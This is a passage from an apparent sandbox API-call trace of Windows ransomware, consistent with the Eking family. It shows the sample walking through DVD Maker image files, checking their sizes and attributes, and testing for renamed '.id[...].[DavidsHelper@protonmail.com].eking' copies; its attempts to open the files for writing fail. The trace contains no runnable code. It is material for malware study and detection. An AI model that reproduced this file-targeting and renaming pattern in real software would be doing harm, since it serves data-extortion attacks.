CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.100] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=5025) returned 1 [0182.100] CloseHandle (hObject=0x1e0) returned 1 [0182.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png")) returned 0x20 [0182.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png")) returned 0x20 [0182.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.112] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3118) returned 1 [0182.113] CloseHandle (hObject=0x1e0) returned 1 [0182.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png")) returned 0x20 [0182.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png")) returned 0x20 [0182.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.113] SetEvent (hEvent=0x174) returned 1 [0182.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.114] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=4955) returned 1 [0182.114] CloseHandle (hObject=0x1e0) returned 1 [0182.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png")) returned 0x20 [0182.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png")) returned 0x20 [0182.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.115] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3081) returned 1 [0182.116] CloseHandle (hObject=0x1e0) returned 1 [0182.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png")) returned 0x20 [0182.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png")) returned 0x20 [0182.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.119] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=4570) returned 1 [0182.119] CloseHandle (hObject=0x1e0) returned 1 [0182.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png")) returned 0x20 [0182.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png")) returned 0x20 [0182.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.122] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=2821) returned 1 [0182.122] CloseHandle (hObject=0x1e0) returned 1 [0182.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png")) returned 0x20 [0182.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png")) returned 0x20 [0182.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.124] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=6203) returned 1 [0182.124] CloseHandle (hObject=0x1e0) returned 1 [0182.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png")) returned 0x20 [0182.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png")) returned 0x20 [0182.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.125] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.125] SetEvent (hEvent=0x174) returned 1 [0182.125] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.126] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=5088) returned 1 [0182.126] CloseHandle (hObject=0x1e0) returned 1 [0182.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png")) returned 0x20 [0182.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png")) returned 0x20 [0182.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.127] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3130) returned 1 [0182.127] CloseHandle (hObject=0x1e0) returned 1 [0182.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png")) returned 0x20 [0182.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png")) returned 0x20 [0182.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.128] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=5025) returned 1 [0182.128] CloseHandle (hObject=0x1e0) returned 1 [0182.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png")) returned 0x20 [0182.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png")) returned 0x20 [0182.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.129] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3118) returned 1 [0182.129] CloseHandle (hObject=0x1e0) returned 1 [0182.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png")) returned 0x20 [0182.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png")) returned 0x20 [0182.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.130] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=4955) returned 1 [0182.130] CloseHandle (hObject=0x1e0) returned 1 [0182.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png")) returned 0x20 [0182.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png")) returned 0x20 [0182.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.131] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3081) returned 1 [0182.131] CloseHandle (hObject=0x1e0) returned 1 [0182.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png")) returned 0x20 [0182.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png")) returned 0x20 [0182.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.132] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=27789) returned 1 [0182.132] CloseHandle (hObject=0x1e0) returned 1 [0182.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png")) returned 0x20 [0182.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png")) returned 0x20 [0182.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0182.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0182.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0182.317] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3823) returned 1 [0182.317] CloseHandle (hObject=0x1e0) returned 1 [0182.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png")) returned 0x20 [0182.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png")) returned 0x20 [0182.317] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd 